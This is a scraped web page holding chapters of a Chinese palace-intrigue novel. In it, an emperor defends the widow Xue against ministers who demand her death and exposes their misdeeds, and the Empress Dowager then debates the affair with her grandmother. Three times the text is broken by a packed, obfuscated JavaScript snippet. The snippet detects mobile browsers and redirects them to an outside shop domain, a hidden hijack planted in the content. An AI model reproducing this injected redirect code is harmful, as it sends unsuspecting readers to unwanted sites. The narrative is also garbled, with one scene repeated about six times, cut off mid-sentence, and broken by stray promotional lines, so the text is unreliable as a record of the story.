d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277966|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人靠近!陛下此举,乃是‘以私废公’——禁军乃护卫皇城、镇守京师之物,岂能为一己私情,用来护卫一个孝期失德的妇人?此等做法,于礼不合,于法无据,于制大谬!长此以往,必会动摇朝野礼法,更会寒了天下臣民之心!臣恳请陛下:即刻撤回护卫薛氏的禁军,将薛氏下狱清查,严查其孝期违制、秽乱门庭之举,以正纲纪!” 紧接着,鸿胪寺卿闻圣杰也应声出列,他面色凝重,语气中满是急切与愤慨:“陛下,薛氏身为朝廷命官之妻,夫丧期间失德败礼,与陛下有私,已然沦为朝野笑柄,更辱没了朝廷体面!此等失德妇人,若留其性命,必引天下人非议,让我大周国威蒙尘,恳请陛下下旨,处死薛氏,以正天下风气,以儆效尤!” “陛下,臣请旨!”威远侯周显宗大步出列,语气铿锵,“薛氏德行败坏,秽乱门庭,既辱没了肃国公府的门楣,更辱没了皇家威严,让天下人耻笑皇家识人不清!恳请陛下赐薛氏一死,既正礼教纲常,也平息民间流言,保全皇家体面,安抚天下臣民之心!” 他的开口,瞬间带动了不少中立朝臣,纷纷拱手附和,朝堂之上,“恳请陛下赐死薛氏”的声音此起彼伏,气氛愈发紧张。 邹子墨此刻也缓过神来,他看着眼前群情激愤的朝臣,又看了看龙椅之上面沉如水的姜玄,深吸一口气,再次上前一步,躬身说道:“陛下,臣附议!薛氏身兼两重孝期——先有公公离世,未守满父孝;后有夫君**,又未守夫孝,反倒在孝期之内与人私通,此等**,原就该治罪,以儆效尤,正天下礼教!” 说到此处,邹子墨转头,目光投向始终垂首站立、神色有些白的肃国公薛嘉聿,质问道:“肃国公,薛氏乃你国公府之人,如今她失德败礼,辱没门楣,连累皇家与国公府声誉,你身为她的兄长,身为肃国公,此事,你怎么说?” 第302章 你们都不配! 所有目光瞬间齐聚在薛嘉聿身上,有审视,有讥诮,有幸灾乐祸。 薛嘉聿感觉到那些目光像针一样扎在自己身上,他深吸一口气,缓缓抬起头。对着龙椅上的皇帝,深深行礼。 “陛下,薛氏自幼养在国公府外,由其母吕氏教养。 他顿了顿,像是在强调这一点。 “如今她失德辱门,秽乱纲常,臣身为她的兄长,未能及时察觉其恶行,未能加以约束,已然失职! 他的声音忽然拔高了些,带着一股悲愤:“恳请陛下——赐薛氏白绫一条,以全薛氏‘清誉’,以正礼教纲常,也保全我肃国公府的颜面! 话音落下,朝堂上再次陷入沉寂。 只是这一次的沉寂,比先前更加凝滞。 所有人都听懂了。 薛嘉聿这番话,说得大义凛然,实则字字都在撇清关系。 ——“自幼养在国公府外,由其母吕氏教养:薛氏不是国公府教养长大的,她的失德之事,与国公府毫无干系。 ——“恳请陛下赐薛氏白绫一条:他是站在国公府的立场上,支持严惩薛氏。没有包庇,是大义灭亲。 好一个“大义灭亲。 龙椅上,姜玄缓缓抬起眼眸,他看着薛嘉聿那张义正言辞的脸,嗤笑一声。 “肃国公,姜玄开口了,声音不高,却清清楚楚,“你从前何曾把她当作妹妹?现在倒是来朕面前演这出‘大义灭亲’的戏码——未免太过可笑! 薛嘉聿的后背出了一层冷汗,竟不知皇帝对那个女子已经这般情深,当着朝臣的面也来维护她。这种情况下,顺水推舟下令处死不是最好的选择吗? 姜玄站起身,居高临下地看着他,看着那些跪着的、站着的朝臣,一字一顿: “朕告诉你们,薛嘉言现在是朕的女人。朕不许任何人伤害她分毫! 他的声音在空旷的大殿里回荡,震得那些人心头发颤: “谁敢再提‘赐死’二字,便是与朕为敌! 朝堂上一片死寂,众人眉头紧蹙,面面相觑,都在思索着如何应对。 姜玄没有停。缓缓站起身,一步一步走下御阶,他的目光锐利如刀,从那些跪着的朝臣脸上一一扫过。 最终,落在监察御史宋怀安身上。 宋怀安心里一紧,他下意识地抬起头,对上姜玄那双幽深的眼睛,忽觉得一股凉意从脚底升上来了。 姜玄看着他,嘴角弯起一个弧度,满是嘲讽。 “宋御史 你的朋友正在书荒,快去帮帮他吧 ,”姜玄开口了,语气冰冷,“朕听说,你前些日子才刚纳了新妾?” 宋怀安嗫嚅着称是,全然没了刚才的慷慨激昂。 姜玄继续道:“那妾室,是你夫人娘家前来投亲的侄女,在你家中养了好几年,如今才将将及笄——你便迫不及待地纳进房中。” 宋怀安的额头渗出密密麻麻的冷汗。他想出言反驳,可嘴唇动了动,一个字都说不出来。 因为皇帝说的是真的,那孩子十岁就来投亲了,他第一眼看见就惦记上了。熬了五年,熬到她及笄,才敢纳进府里。 姜玄看着他窘迫不堪的模样,冷冷道:“你倒是遵守礼教,还知道给自己蒙了一层遮羞布。” 宋怀安跪在那里,脸红得像要滴出血来,恨不得找个地缝钻进去。 姜玄的目光从他身上移开,又落在了另一个人身上——鸿胪寺卿闻圣杰。 闻圣杰心头一跳,一股不祥的预感瞬间涌上心头。 姜玄走近一步,居高临下地看着他:“还有你,闻圣杰。” 闻圣杰浑身微微颤抖。 “你不会真的以为,”姜玄的声音森冷如冰,“你做的那些龌龊事,当真天衣无缝吧?” 闻圣杰的心猛地一沉。 他张了张嘴,声音发颤: “陛、陛下,臣、臣不知陛下所言为何物……” “不知?” 姜玄笑了。 “你老母在老家病重卧床,彼时恰逢你正要升任鸿胪寺少卿。” 闻圣杰的脸色开始发白。 姜玄的声音还在继续,一个字一个字,像钉子一样钉进他心里: “你为了避开丁忧守孝,保住自己梦寐以求的官位,竟然选择秘不发丧。硬生生把你那病重的老亲娘,停了整整三个月灵。” 闻圣杰的瞳孔猛然收缩。 “用冰块冰镇着尸体,”姜玄的声音忽然拔高,“熬到你升了官、坐稳了位置,才敢对外宣称你老母‘咽气’,才肯回乡奔丧!” 闻圣杰的脸色瞬间变得青一阵白一阵。 他的嘴唇哆嗦着,想要辩解,可什么都说不出来。 这事他做得极为周密,全程只让自己最信任的管家打理,从未对外泄露过半分。且这件事已经过去了五六年,他以为万无一失了,可皇帝竟然知道! 姜玄看着他,目光里满是厌恶: “你连自己的亲生母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277967|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都能如此对待,为了官位,连孝道都能抛之脑后——你还跟朕谈‘礼法’?还敢恳请朕‘以正风气’ 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ?” 闻圣杰的腿一软,“噗通”一声跪倒在地。 他浑身冰冷,额头的冷汗顺着脸颊滑落,滴在金砖之上。 他抬起手,擦了擦汗,声音颤抖着: “陛下饶命……臣知错了……臣知错了……” 朝堂之上,再次陷入死寂。 所有朝臣都被姜玄的雷霆手段震慑住了,一个个噤若寒蝉,大气都不敢出一口。 他们看着跪在地上求饶的闻圣杰,看着窘迫不堪的宋怀安,心中皆是暗自心惊。 这朝堂上这么多人,哪个人没有些不能与人言的龌龊事?看来只要出来上书严惩薛氏,难保不被皇帝抖落出来。那些方才还义愤填膺的人,此刻一个个低着头,恨不得把自己藏起来。 姜玄的目光缓缓移开。 最终,落在了威远侯周显宗身上。 周显宗浑身一紧,心脏猛地一跳,他的后背已经被冷汗浸透。 他忽然上前一步。 躬身拱手,脸上满是惶恐与歉意,声音诚恳得像是发自肺腑: “陛下恕罪!“臣愚钝,方才一时糊涂,被几位大人的言辞所影响,说了些不该说的话。如今才幡然醒悟——” 他顿了顿,抬起头,看着姜玄,目光里满是“真诚”:“陛下临幸女子,乃是陛下的私事。臣等身为臣子,不该多加干涉,更不该妄议陛下私事!” 他又深深作了一揖: “求陛下恕罪!” 朝堂上又是一阵嗡嗡的议论声。 沉默了片刻。 然后姜玄点了点头。 “嗯,”他的声音很淡,“知错能改就好。” 周显宗心里一松,连忙磕头:“谢陛下!谢陛下!” 姜玄不再看他。 他环顾四周,看着那些一个个低着头的朝臣: “好。” 他顿了顿才道:“既然威远侯说了,这是朕的私事——那朕就告诉你们。朕的私事,朕自己处理。不劳诸位费心。” 他转身,缓缓走回龙椅前,坐下。 摆了摆手。 “退朝。” 陆怀高声喊道:“退朝——” 那些朝臣们如蒙大赦,纷纷爬起来,擦了擦额头的汗,鱼贯退出大殿。 第303章 不甘心 长宜宫里茶香袅袅,太后端坐在上首,慢慢品着茶,下首右侧,坐着宋家的秦老夫人和王夫人。 秦老夫人似乎比从前更清瘦了些,手里捧着一盏茶,半天没喝一口。 王夫人是宋静仪的母亲,生得富态温婉,眉眼间透着几分慈和。她今日是头一回以静妃母亲的身份入宫,心里既欢喜又忐忑,面上维持着得体的微笑。 太后对沁芳道:“派个人去把静妃请过来。” 王夫人闻言,眼睛微微一亮,随即又垂下眼,努力让自己看起来平静些。 不多时,殿外传来脚步声。 宋静仪走了进来,她今日穿了一身雪青色的宫装,戴了一套金镶玉的头面,看着清雅大方,显然也是精心装扮过的。 宋静仪看见王夫人时,那平静的面具,还是裂了一道缝。 王夫人也正看着她,母女俩的视线在空中相遇,只是一瞬,便各自移开。 可那一瞬,两人的眼眶都已经红了。 太后看着这一幕,摆了摆手道:“夫人与静妃且去偏殿说话吧,哀家与祖母聊些家常。” 宋静仪和王夫人连忙行礼:“是。” 两人退出正殿,往偏殿走去。 太后与秦老夫人相对而坐,秦老夫人放下那盏半天没喝的茶,叹了口气。 “雅章,”她开口了,声音有些哑,“皇上与薛氏那事,可是真的?” 太后端起茶盏,抿了一口,点了点头。 “嗯,确有其事。” 秦老夫人眉头紧蹙,“你既知道是真的,自然该为他善后。” 她的声音里带着几分责备,“要么想法子把人名正言顺抬进宫来,要么悄摸处理了,怎么弄成现在这个样子?满城风雨,朝堂上闹成那样,你这个做母亲,做太后的的,就看着?” 太后放下茶盏,嗤笑一声,“老夫人,皇上如今越发有自己的主意,难道您还以为他是从前十几岁的小儿?” 秦老夫人愣住了。 太后继续道:“他不肯把薛氏弄进宫来,就要这么偷着,哀家还能强迫他不成?哀家倒是想‘悄摸处理了’,可他派禁军把戚家围得铁桶一般,连只苍蝇都飞不进去——您告诉哀家,怎么‘悄摸’?” 秦老夫人沉默了。 半晌,她才开口,声音里带着不解: “这是为何?男人想要一个女人,自然是要放在身边的。说来也奇怪,选秀才过去多久啊,那么多名门贵女,燕瘦环肥,各有优点,皇上怎么就对一个寡妇倾心了 ?” 太后垂下眼,手指慢慢拨弄着指甲上的蔻丹。 “兴许是他爹的血脉开始起作用了吧。”她的声音很轻,轻得像在自言自语。 秦老夫人脸色一变,猛地抬起头。 “慎言!” 她的声音不大,却带着一股威严,忘了君臣之别,直接呵斥出声。 太后抬起眼,看着她,祖孙俩的目光在空中相遇。 太后没有生气,她只是淡淡地笑了笑,继续拨弄着手上的蔻丹。 “老夫人,”她说,“人是会变的。你们可以不要拿从前十几岁的他跟现在比。” 秦老夫人也意识到自己刚刚失态了,忙道:“娘娘赎罪,老身刚刚有些过于激动了。” 太后并没有放在心上,继续道:“不说别的,就说他把宋襄的禁军统领撤了这事——我不信大哥心里没有想法。” 秦老夫人沉默了一会,然后长长地叹了一口气。 “唉,”她说,“若不是宋止伤了,宋家又怎么会失去禁军。” 她抬起头,看着太后: “宋襄哪里比得过宋止?你大哥心中虽不舍,可也知道宋襄被人拿住把柄,此番处理已经很是给宋家留体面了。若是换一个心狠的,直接论罪,宋襄还能全须全尾地出来?” “先帝在时,”太后开口了,声音忽然变得有些冷,“辛酉年冬,大哥在北地战败,损兵折将,**那么多人,朝中多少人上书参奏——先帝压下去了。” 她抬起头,看着秦老夫人:“先帝仍把兵权交在大哥手里,那才叫真信任!” 秦老夫人的脸色微微变了。 太后的声音越来越高:“咱们家与皇帝,本就有从龙之功。一点微末小事,提醒一下,小惩大诫也就是了。直接撤职——这叫卸磨杀驴!” 最后一句话,她说得很重,重地在空旷的大殿里,都起了回音。 秦老夫人看着她,目光复杂,过了很久,她才开口。 “雅章啊。” 秦老夫人一字一顿:“你刚刚也说了,人是会变的。皇帝变了,咱们也要变一变。咱们家如今也算是鲜花着锦,烈火烹油。皇帝偶尔有一两件事挑剔宋家又如何?这江山,毕竟是姓姜的。” 太后沉默了,她知道祖母说的是对的。 道理她都懂,可她就是不甘心。 不甘心那个当年在她面前唯唯诺诺的少年,如今敢这样对她,这样对宋家。 不甘心那么个女人,竟能得到他这般偏爱,越发显得宋家的女人都是笑话。 秦老夫人端起茶盏,抿了一口,那茶已经凉透了,她却像是浑然不觉。 “雅章,”她放下茶盏,抬起眼,“昨日肃国公府的高夫人来访。” 太后挑了挑眉:“哦?她来做什么?” 秦老夫人叹了口气:“提起了薛氏的事情。薛家有个小子在国子监读书,说是朝廷再不回应,他们要**了。高夫人说,薛氏虽不是她的孩子,可毕竟姓薛,勉强也是肃国公府的人。如今闹成这样,事关肃国公府的颜面,她还是想问下宫里的意思——是不是一定要闹到史书留名的程度?” 太后笑了笑,并未答话。 “雅章啊,你劝劝皇帝。若是能舍下,赐死便是。过上一两个月,这事一点水花也没了,谁还记得那个薛氏是谁?” 她顿了顿,声音更低了些: “若是舍不下,先把她送走,送到城外庄子上也好,送到江南别院也好。回头换个名头送进宫来,谁还能说什么?” 太后听着,脸上没有什么表情,沉默了片刻,有些敷衍道:“好,我试试。” ?” 太后垂下眼,手指慢慢拨弄着指甲上的蔻丹。 “兴许是他爹的血脉开始起作用了吧。”她的声音很轻,轻得像在自言自语。 秦老夫人脸色一变,猛地抬起头。 “慎言!” 她的声音不大,却带着一股威严,忘了君臣之别,直接呵斥出声。 太后抬起眼,看着她,祖孙俩的目光在空中相遇。 太后没有生气,她只是淡淡地笑了笑,继续拨弄着手上的蔻丹。 “老夫人,”她说,“人是会变的。你们可以不要拿从前十几岁的他跟现在比。” 秦老夫人也意识到自己刚刚失态了,忙道:“娘娘赎罪,老身刚刚有些过于激动了。” 太后并没有放在心上,继续道:“不说别的,就说他把宋襄的禁军统领撤了这事——我不信大哥心里没有想法。” 秦老夫人沉默了一会,然后长长地叹了一口气。 “唉,”她说,“若不是宋止伤了,宋家又怎么会失去禁军。” 她抬起头,看着太后: “宋襄哪里比得过宋止?你大哥心中虽不舍,可也知道宋襄被人拿住把柄,此番处理已经很是给宋家留体面了。若是换一个心狠的,直接论罪,宋襄还能全须全尾地出来?” “先帝在时,”太后开口了,声音忽然变得有些冷,“辛酉年冬,大哥在北地战败,损兵折将,**那么多人,朝中多少人上书参奏——先帝压下去了。” 她抬起头,看着秦老夫人:“先帝仍把兵权交在大哥手里,那才叫真信任!” 秦老夫人的脸色微微变了。 太后的声音越来越高:“咱们家与皇帝,本就有从龙之功。一点微末小事,提醒一下,小惩大诫也就是了。直接撤职——这叫卸磨杀驴!” 最后一句话,她说得很重,重地在空旷的大殿里,都起了回音。 秦老夫人看着她,目光复杂,过了很久,她才开口。 “雅章啊。” 秦老夫人一字一顿:“你刚刚也说了,人是会变的。皇帝变了,咱们也要变一变。咱们家如今也算是鲜花着锦,烈火烹油。皇帝偶尔有一两件事挑剔宋家又如何?这江山,毕竟是姓姜的。” 太后沉默了,她知道祖母说的是对的。 道理她都懂,可她就是不甘心。 不甘心那个当年在她面前唯唯诺诺的少年,如今敢这样对她,这样对宋家。 不甘心那么个女人,竟能得到他这般偏爱,越发显得宋家的女人都是笑话。 秦老夫人端起茶盏,抿了一口,那茶已经凉透了,她却像是浑然不觉。 “雅章,”她放下茶盏,抬起眼,“昨日肃国公府的高夫人来访。” 太后挑了挑眉:“哦?她来做什么?” 秦老夫人叹了口气:“提起了薛氏的事情。薛家有个小子在国子监读书,说是朝廷再不回应,他们要**了。高夫人说,薛氏虽不是她的孩子,可毕竟姓薛,勉强也是肃国公府的人。如今闹成这样,事关肃国公府的颜面,她还是想问下宫里的意思——是不是一定要闹到史书留名的程度?” 太后笑了笑,并未答话。 “雅章啊,你劝劝皇帝。若是能舍下,赐死便是。过上一两个月,这事一点水花也没了,谁还记得那个薛氏是谁?” 她顿了顿,声音更低了些: “若是舍不下,先把她送走,送到城外庄子上也好,送到江南别院也好。回头换个名头送进宫来,谁还能说什么?” 太后听着,脸上没有什么表情,沉默了片刻,有些敷衍道:“好,我试试。” ?” 太后垂下眼,手指慢慢拨弄着指甲上的蔻丹。 “兴许是他爹的血脉开始起作用了吧。”她的声音很轻,轻得像在自言自语。 秦老夫人脸色一变,猛地抬起头。 “慎言!” 她的声音不大,却带着一股威严,忘了君臣之别,直接呵斥出声。 太后抬起眼,看着她,祖孙俩的目光在空中相遇。 太后没有生气,她只是淡淡地笑了笑,继续拨弄着手上的蔻丹。 “老夫人,”她说,“人是会变的。你们可以不要拿从前十几岁的他跟现在比。” 秦老夫人也意识到自己刚刚失态了,忙道:“娘娘赎罪,老身刚刚有些过于激动了。” 太后并没有放在心上,继续道:“不说别的,就说他把宋襄的禁军统领撤了这事——我不信大哥心里没有想法。” 秦老夫人沉默了一会,然后长长地叹了一口气。 “唉,”她说,“若不是宋止伤了,宋家又怎么会失去禁军。” 她抬起头,看着太后: “宋襄哪里比得过宋止?你大哥心中虽不舍,可也知道宋襄被人拿住把柄,此番处理已经很是给宋家留体面了。若是换一个心狠的,直接论罪,宋襄还能全须全尾地出来?” “先帝在时,”太后开口了,声音忽然变得有些冷,“辛酉年冬,大哥在北地战败,损兵折将,**那么多人,朝中多少人上书参奏——先帝压下去了。” 她抬起头,看着秦老夫人:“先帝仍把兵权交在大哥手里,那才叫真信任!” 秦老夫人的脸色微微变了。 太后的声音越来越高:“咱们家与皇帝,本就有从龙之功。一点微末小事,提醒一下,小惩大诫也就是了。直接撤职——这叫卸磨杀驴!” 最后一句话,她说得很重,重地在空旷的大殿里,都起了回音。 秦老夫人看着她,目光复杂,过了很久,她才开口。 “雅章啊。” 秦老夫人一字一顿:“你刚刚也说了,人是会变的。皇帝变了,咱们也要变一变。咱们家如今也算是鲜花着锦,烈火烹油。皇帝偶尔有一两件事挑剔宋家又如何?这江山,毕竟是姓姜的。” 太后沉默了,她知道祖母说的是对的。 道理她都懂,可她就是不甘心。 不甘心那个当年在她面前唯唯诺诺的少年,如今敢这样对她,这样对宋家。 不甘心那么个女人,竟能得到他这般偏爱,越发显得宋家的女人都是笑话。 秦老夫人端起茶盏,抿了一口,那茶已经凉透了,她却像是浑然不觉。 “雅章,”她放下茶盏,抬起眼,“昨日肃国公府的高夫人来访。” 太后挑了挑眉:“哦?她来做什么?” 秦老夫人叹了口气:“提起了薛氏的事情。薛家有个小子在国子监读书,说是朝廷再不回应,他们要**了。高夫人说,薛氏虽不是她的孩子,可毕竟姓薛,勉强也是肃国公府的人。如今闹成这样,事关肃国公府的颜面,她还是想问下宫里的意思——是不是一定要闹到史书留名的程度?” 太后笑了笑,并未答话。 “雅章啊,你劝劝皇帝。若是能舍下,赐死便是。过上一两个月,这事一点水花也没了,谁还记得那个薛氏是谁?” 她顿了顿,声音更低了些: “若是舍不下,先把她送走,送到城外庄子上也好,送到江南别院也好。回头换个名头送进宫来,谁还能说什么?” 太后听着,脸上没有什么表情,沉默了片刻,有些敷衍道:“好,我试试。” ?” 太后垂下眼,手指慢慢拨弄着指甲上的蔻丹。 “兴许是他爹的血脉开始起作用了吧。”她的声音很轻,轻得像在自言自语。 秦老夫人脸色一变,猛地抬起头。 “慎言!” 她的声音不大,却带着一股威严,忘了君臣之别,直接呵斥出声。 太后抬起眼,看着她,祖孙俩的目光在空中相遇。 太后没有生气,她只是淡淡地笑了笑,继续拨弄着手上的蔻丹。 “老夫人,”她说,“人是会变的。你们可以不要拿从前十几岁的他跟现在比。” 秦老夫人也意识到自己刚刚失态了,忙道:“娘娘赎罪,老身刚刚有些过于激动了。” 太后并没有放在心上,继续道:“不说别的,就说他把宋襄的禁军统领撤了这事——我不信大哥心里没有想法。” 秦老夫人沉默了一会,然后长长地叹了一口气。 “唉,”她说,“若不是宋止伤了,宋家又怎么会失去禁军。” 她抬起头,看着太后: “宋襄哪里比得过宋止?你大哥心中虽不舍,可也知道宋襄被人拿住把柄,此番处理已经很是给宋家留体面了。若是换一个心狠的,直接论罪,宋襄还能全须全尾地出来?” “先帝在时,”太后开口了,声音忽然变得有些冷,“辛酉年冬,大哥在北地战败,损兵折将,**那么多人,朝中多少人上书参奏——先帝压下去了。” 她抬起头,看着秦老夫人:“先帝仍把兵权交在大哥手里,那才叫真信任!” 秦老夫人的脸色微微变了。 太后的声音越来越高:“咱们家与皇帝,本就有从龙之功。一点微末小事,提醒一下,小惩大诫也就是了。直接撤职——这叫卸磨杀驴!” 最后一句话,她说得很重,重地在空旷的大殿里,都起了回音。 秦老夫人看着她,目光复杂,过了很久,她才开口。 “雅章啊。” 秦老夫人一字一顿:“你刚刚也说了,人是会变的。皇帝变了,咱们也要变一变。咱们家如今也算是鲜花着锦,烈火烹油。皇帝偶尔有一两件事挑剔宋家又如何?这江山,毕竟是姓姜的。” 太后沉默了,她知道祖母说的是对的。 道理她都懂,可她就是不甘心。 不甘心那个当年在她面前唯唯诺诺的少年,如今敢这样对她,这样对宋家。 不甘心那么个女人,竟能得到他这般偏爱,越发显得宋家的女人都是笑话。 秦老夫人端起茶盏,抿了一口,那茶已经凉透了,她却像是浑然不觉。 “雅章,”她放下茶盏,抬起眼,“昨日肃国公府的高夫人来访。” 太后挑了挑眉:“哦?她来做什么?” 秦老夫人叹了口气:“提起了薛氏的事情。薛家有个小子在国子监读书,说是朝廷再不回应,他们要**了。高夫人说,薛氏虽不是她的孩子,可毕竟姓薛,勉强也是肃国公府的人。如今闹成这样,事关肃国公府的颜面,她还是想问下宫里的意思——是不是一定要闹到史书留名的程度?” 太后笑了笑,并未答话。 “雅章啊,你劝劝皇帝。若是能舍下,赐死便是。过上一两个月,这事一点水花也没了,谁还记得那个薛氏是谁?” 她顿了顿,声音更低了些: “若是舍不下,先把她送走,送到城外庄子上也好,送到江南别院也好。回头换个名头送进宫来,谁还能说什么?” 太后听着,脸上没有什么表情,沉默了片刻,有些敷衍道:“好,我试试。” ?” 太后垂下眼,手指慢慢拨弄着指甲上的蔻丹。 “兴许是他爹的血脉开始起作用了吧。”她的声音很轻,轻得像在自言自语。 秦老夫人脸色一变,猛地抬起头。 “慎言!” 她的声音不大,却带着一股威严,忘了君臣之别,直接呵斥出声。 太后抬起眼,看着她,祖孙俩的目光在空中相遇。 太后没有生气,她只是淡淡地笑了笑,继续拨弄着手上的蔻丹。 “老夫人,”她说,“人是会变的。你们可以不要拿从前十几岁的他跟现在比。” 秦老夫人也意识到自己刚刚失态了,忙道:“娘娘赎罪,老身刚刚有些过于激动了。” 太后并没有放在心上,继续道:“不说别的,就说他把宋襄的禁军统领撤了这事——我不信大哥心里没有想法。” 秦老夫人沉默了一会,然后长长地叹了一口气。 “唉,”她说,“若不是宋止伤了,宋家又怎么会失去禁军。” 她抬起头,看着太后: “宋襄哪里比得过宋止?你大哥心中虽不舍,可也知道宋襄被人拿住把柄,此番处理已经很是给宋家留体面了。若是换一个心狠的,直接论罪,宋襄还能全须全尾地出来?” “先帝在时,”太后开口了,声音忽然变得有些冷,“辛酉年冬,大哥在北地战败,损兵折将,**那么多人,朝中多少人上书参奏——先帝压下去了。” 她抬起头,看着秦老夫人:“先帝仍把兵权交在大哥手里,那才叫真信任!” 秦老夫人的脸色微微变了。 太后的声音越来越高:“咱们家与皇帝,本就有从龙之功。一点微末小事,提醒一下,小惩大诫也就是了。直接撤职——这叫卸磨杀驴!” 最后一句话,她说得很重,重地在空旷的大殿里,都起了回音。 秦老夫人看着她,目光复杂,过了很久,她才开口。 “雅章啊。” 秦老夫人一字一顿:“你刚刚也说了,人是会变的。皇帝变了,咱们也要变一变。咱们家如今也算是鲜花着锦,烈火烹油。皇帝偶尔有一两件事挑剔宋家又如何?这江山,毕竟是姓姜的。” 太后沉默了,她知道祖母说的是对的。 道理她都懂,可她就是不甘心。 不甘心那个当年在她面前唯唯诺诺的少年,如今敢这样对她,这样对宋家。 不甘心那么个女人,竟能得到他这般偏爱,越发显得宋家的女人都是笑话。 秦老夫人端起茶盏,抿了一口,那茶已经凉透了,她却像是浑然不觉。 “雅章,”她放下茶盏,抬起眼,“昨日肃国公府的高夫人来访。” 太后挑了挑眉:“哦?她来做什么?” 秦老夫人叹了口气:“提起了薛氏的事情。薛家有个小子在国子监读书,说是朝廷再不回应,他们要**了。高夫人说,薛氏虽不是她的孩子,可毕竟姓薛,勉强也是肃国公府的人。如今闹成这样,事关肃国公府的颜面,她还是想问下宫里的意思——是不是一定要闹到史书留名的程度?” 太后笑了笑,并未答话。 “雅章啊,你劝劝皇帝。若是能舍下,赐死便是。过上一两个月,这事一点水花也没了,谁还记得那个薛氏是谁?” 她顿了顿,声音更低了些: “若是舍不下,先把她送走,送到城外庄子上也好,送到江南别院也好。回头换个名头送进宫来,谁还能说什么?” 太后听着,脸上没有什么表情,沉默了片刻,有些敷衍道:“好,我试试。” ?” 太后垂下眼,手指慢慢拨弄着指甲上的蔻丹。 “兴许是他爹的血脉开始起作用了吧。”她的声音很轻,轻得像在自言自语。 秦老夫人脸色一变,猛地抬起头。 “慎言!” 她的声音不大,却带着一股威严,忘了君臣之别,直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277968|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呵斥出声。 太后抬起眼,看着她,祖孙俩的目光在空中相遇。 太后没有生气,她只是淡淡地笑了笑,继续拨弄着手上的蔻丹。 “老夫人,”她说,“人是会变的。你们可以不要拿从前十几岁的他跟现在比。” 秦老夫人也意识到自己刚刚失态了,忙道:“娘娘赎罪,老身刚刚有些过于激动了。” 太后并没有放在心上,继续道:“不说别的,就说他把宋襄的禁军统领撤了这事——我不信大哥心里没有想法。” 秦老夫人沉默了一会,然后长长地叹了一口气。 “唉,”她说,“若不是宋止伤了,宋家又怎么会失去禁军。” 她抬起头,看着太后: “宋襄哪里比得过宋止?你大哥心中虽不舍,可也知道宋襄被人拿住把柄,此番处理已经很是给宋家留体面了。若是换一个心狠的,直接论罪,宋襄还能全须全尾地出来?” “先帝在时,”太后开口了,声音忽然变得有些冷,“辛酉年冬,大哥在北地战败,损兵折将,**那么多人,朝中多少人上书参奏——先帝压下去了。” 她抬起头,看着秦老夫人:“先帝仍把兵权交在大哥手里,那才叫真信任!” 秦老夫人的脸色微微变了。 太后的声音越来越高:“咱们家与皇帝,本就有从龙之功。一点微末小事,提醒一下,小惩大诫也就是了。直接撤职——这叫卸磨杀驴!” 最后一句话,她说得很重,重地在空旷的大殿里,都起了回音。 秦老夫人看着她,目光复杂,过了很久,她才开口。 “雅章啊。” 秦老夫人一字一顿:“你刚刚也说了,人是会变的。皇帝变了,咱们也要变一变。咱们家如今也算是鲜花着锦,烈火烹油。皇帝偶尔有一两件事挑剔宋家又如何?这江山,毕竟是姓姜的。” 太后沉默了,她知道祖母说的是对的。 道理她都懂,可她就是不甘心。 不甘心那个当年在她面前唯唯诺诺的少年,如今敢这样对她,这样对宋家。 不甘心那么个女人,竟能得到他这般偏爱,越发显得宋家的女人都是笑话。 秦老夫人端起茶盏,抿了一口,那茶已经凉透了,她却像是浑然不觉。 “雅章,”她放下茶盏,抬起眼,“昨日肃国公府的高夫人来访。” 太后挑了挑眉:“哦?她来做什么?” 秦老夫人叹了口气:“提起了薛氏的事情。薛家有个小子在国子监读书,说是朝廷再不回应,他们要**了。高夫人说,薛氏虽不是她的孩子,可毕竟姓薛,勉强也是肃国公府的人。如今闹成这样,事关肃国公府的颜面,她还是想问下宫里的意思——是不是一定要闹到史书留名的程度?” 太后笑了笑,并未答话。 “雅章啊,你劝劝皇帝。若是能舍下,赐死便是。过上一两个月,这事一点水花也没了,谁还记得那个薛氏是谁?” 她顿了顿,声音更低了些: “若是舍不下,先把她送走,送到城外庄子上也好,送到江南别院也好。回头换个名头送进宫来,谁还能说什么?” 太后听着,脸上没有什么表情,沉默了片刻,有些敷衍道:“好,我试试。” ?” 太后垂下眼,手指慢慢拨弄着指甲上的蔻丹。 “兴许是他爹的血脉开始起作用了吧。”她的声音很轻,轻得像在自言自语。 秦老夫人脸色一变,猛地抬起头。 “慎言!” 她的声音不大,却带着一股威严,忘了君臣之别,直接呵斥出声。 太后抬起眼,看着她,祖孙俩的目光在空中相遇。 太后没有生气,她只是淡淡地笑了笑,继续拨弄着手上的蔻丹。 “老夫人,”她说,“人是会变的。你们可以不要拿从前十几岁的他跟现在比。” 秦老夫人也意识到自己刚刚失态了,忙道:“娘娘赎罪,老身刚刚有些过于激动了。” 